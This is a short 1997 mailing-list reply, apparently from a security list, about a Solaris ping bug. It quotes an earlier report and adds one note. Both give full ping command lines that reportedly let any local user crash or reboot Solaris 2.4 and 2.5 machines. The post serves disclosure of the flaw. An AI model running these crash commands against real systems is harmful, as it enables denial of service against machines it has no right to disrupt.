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Re: Solaris Ping bug (DoS)

From: qwe () HT EIMB RSSI RU (Gnuchev Fedor)
Date: Thu, 26 Jun 1997 14:01:56 +0400


On Thu, 26 Jun 1997, Adam Caldwell wrote:

way to reboot a Solaris box, and is exploitable by anyone with an account on

ping -sv -i 127.0.0.1 224.0.0.1

  ping -sv -i 127.0.0.1 127.0.0.1 does same on 2.4

On solaris 2.5, causes the machine to reboot (personal experience).  I've
had independent reports of it crashing 2.5.1, and 2.5 (x86).  It probably works
on all versions of Solaris.
-Adam

Disabling ping??! Hope someone will devise more chewable solution :-)



With best regards

Fedor Gnuchev
 mailto:qwe () ht eimb rssi ru

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